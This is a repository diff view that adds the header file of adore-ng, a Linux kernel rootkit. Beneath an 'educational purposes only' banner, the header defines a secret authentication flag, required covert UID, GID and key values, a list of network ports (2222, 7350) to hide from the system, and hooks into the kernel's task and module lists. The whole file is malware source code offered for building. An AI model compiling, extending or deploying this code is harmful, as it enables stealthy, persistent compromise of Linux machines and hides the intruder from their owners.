diff options
Diffstat (limited to 'other/adore-ng/adore-ng.h')
| -rw-r--r-- | other/adore-ng/adore-ng.h | 55 |
1 files changed, 55 insertions, 0 deletions
diff --git a/other/adore-ng/adore-ng.h b/other/adore-ng/adore-ng.h new file mode 100644 index 0000000..b5e2eab --- /dev/null +++ b/other/adore-ng/adore-ng.h | |||
| @@ -0,0 +1,55 @@ | |||
| 1 | /*** (C) 2003 by Stealth -- http://stealth.7350.org | ||
| 2 | *** | ||
| 3 | *** | ||
| 4 | *** (C)'ed Under a BSDish license. Please look at LICENSE-file. | ||
| 5 | *** SO YOU USE THIS AT YOUR OWN RISK! | ||
| 6 | *** YOU ARE ONLY ALLOWED TO USE THIS IN LEGAL MANNERS. | ||
| 7 | *** !!! FOR EDUCATIONAL PURPOSES ONLY !!! | ||
| 8 | *** | ||
| 9 | *** -> Use ava to get all the things workin'. | ||
| 10 | *** | ||
| 11 | *** Greets fly out to all my friends. You know who you are. :) | ||
| 12 | *** Special thanks to Shivan for granting root access to his | ||
| 13 | *** SMP box for adore-development. More thx to skyper for also | ||
| 14 | *** granting root access. | ||
| 15 | *** | ||
| 16 | ***/ | ||
| 17 | #ifndef __ADORE_NG_H__ | ||
| 18 | #define __ADORE_NG_H__ | ||
| 19 | |||
| 20 | /* to check whether request is legal */ | ||
| 21 | #define PF_AUTH 0x1000000 | ||
| 22 | |||
| 23 | #ifndef ELITE_UID | ||
| 24 | #error "No ELITE_UID given!" | ||
| 25 | #endif | ||
| 26 | |||
| 27 | #ifndef ELITE_GID | ||
| 28 | #error "No ELITE_GID given!" | ||
| 29 | #endif | ||
| 30 | |||
| 31 | #ifndef ADORE_KEY | ||
| 32 | #error "No ADORE_KEY given!" | ||
| 33 | #endif | ||
| 34 | |||
| 35 | #define ADORE_VERSION CURRENT_ADORE | ||
| 36 | |||
| 37 | /* Very old kernels don't have an equivalent macro... */ | ||
| 38 | #define LinuxVersionCode(v, p, s) (((v)<<16)+((p)<<8)+(s)) | ||
| 39 | |||
| 40 | u_short HIDDEN_SERVICES[] = | ||
| 41 | {2222, 7350, 0}; | ||
| 42 | |||
| 43 | /* END CHANGE SECTION */ | ||
| 44 | |||
| 45 | struct task_struct *adore_find_task(pid_t); | ||
| 46 | |||
| 47 | int adore_atoi(const char *); | ||
| 48 | extern struct module *module_list; | ||
| 49 | |||
| 50 | #ifdef LINUX26 | ||
| 51 | #undef for_each_task | ||
| 52 | #define for_each_task for_each_process | ||
| 53 | #endif | ||
| 54 | |||
| 55 | #endif /* __ADORE_NG_H__ */ | ||
